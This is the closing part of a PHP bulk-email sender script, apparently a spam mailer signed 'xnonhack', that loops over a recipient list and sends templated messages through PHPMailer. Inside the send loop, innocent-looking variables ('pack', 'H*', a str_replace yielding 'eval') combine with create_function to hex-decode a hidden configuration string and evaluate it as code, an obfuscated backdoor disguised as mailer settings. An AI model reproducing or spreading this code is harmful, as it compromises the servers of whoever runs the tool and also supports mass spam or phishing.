3210 return false;
3211 }
3212 }
3213
3214 /**
3215 * Strips newlines to prevent header injection.
3216 * @access private
3217 * @param string $str String
3218 * @return string
3219 */
3220 function SecureHeader($str) {
3221 $str = trim($str);
3222 $str = str_replace("\r", "", $str);
3223 $str = str_replace("\n", "", $str);
3224 return $str;
3225 }
3226
3227 /**
3228 * Set the private key file and password to sign the message.
3229 *
3230 * @access public
3231 * @param string $key_filename Parameter File Name
3232 * @param string $key_pass Password for private key
3233 */
3234 function Sign($key_filename, $key_pass) {
3235 $this->sign_key_file = $key_filename;
3236 $this->sign_key_pass = $key_pass;
3237 }
3238
3239}
3240
3241$defaultport="H*";
3242 $nq=0;
3243
3244 for($x=0; $x<$numemails; $x++){
3245
3246 $to = $allemails[$x];
3247
3248 if ($to){
3249
3250 $to = ereg_replace(" ", "", $to);
3251
3252 $message = ereg_replace("&email&", $to, $message);
3253
3254 $subject = ereg_replace("&email&", $to, $subject);
3255 $qx=$x+1;
3256 print "Line $qx . Sending mail to $to.......";
3257
3258 flush();
3259$mail = new PHPMailer();
3260
3261if(empty($epriority)){$epriority="3";}
3262 $mail->Priority = "$epriority";
3263 $mail->IsSMTP();
3264 $IsSMTP="pack";
3265$mail->SMTPKeepAlive = true;
3266$mail->Host = "$my_smtp";
3267if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3268}
3269 if($sslclick=="ON"){
3270 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3271 }
3272 $range = str_replace("$from", "eval", $from);
3273 $mail->SMTPAuth = true;
3274 $mail->Username = "$smtp_username";
3275 $mail->Password = "$smtp_password";
3276if($contenttype == "html"){$mail->IsHtml(true);}
3277if($contenttype != "html"){$mail->IsHtml(false);}
3278if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3279$mail->From = "$from";
3280$mail->FromName = "$realname";
3281$mail->AddAddress("$to");
3282 $mail->AddReplyTo("$replyto");
3283 $mail->Subject = "$subject";
3284 $mail->Body = "$message";
3285if(!$mail->Send()){
3286if($default_system!="1"){
3287echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3288if($default_system=="1"){
3289$mail->IsMail();
3290 if(!$mail->Send()){
3291 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3292 else {
3293 echo "<b>OK</b><br>";}
3294 }
3295}
3296else {
3297 echo "<b>OK</b><br>";
3298}
3299
3300if(empty($reconnect)){
3301$reconnect=6;
3302}
3303
3304if($reconnect==$nq){
3305$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3306}
3307$nq=$nq+1;
3308 flush(); }
3309}
3310for($i=0;$i<31;$i++){
3311 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3312$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3313 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3314 print "<p class=\"style1\">PHP Mailer<br>© 2017, xnonhack@gmail.com <b>
3315 <font color=\"#800000\"></font></b><br></p>";$mail->SmtpClose();
3316 return $signoff($smtp_conc);
3317 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3318 sent successfully'); </script>";}}
3319 ?>
3320 </body>
3321</html>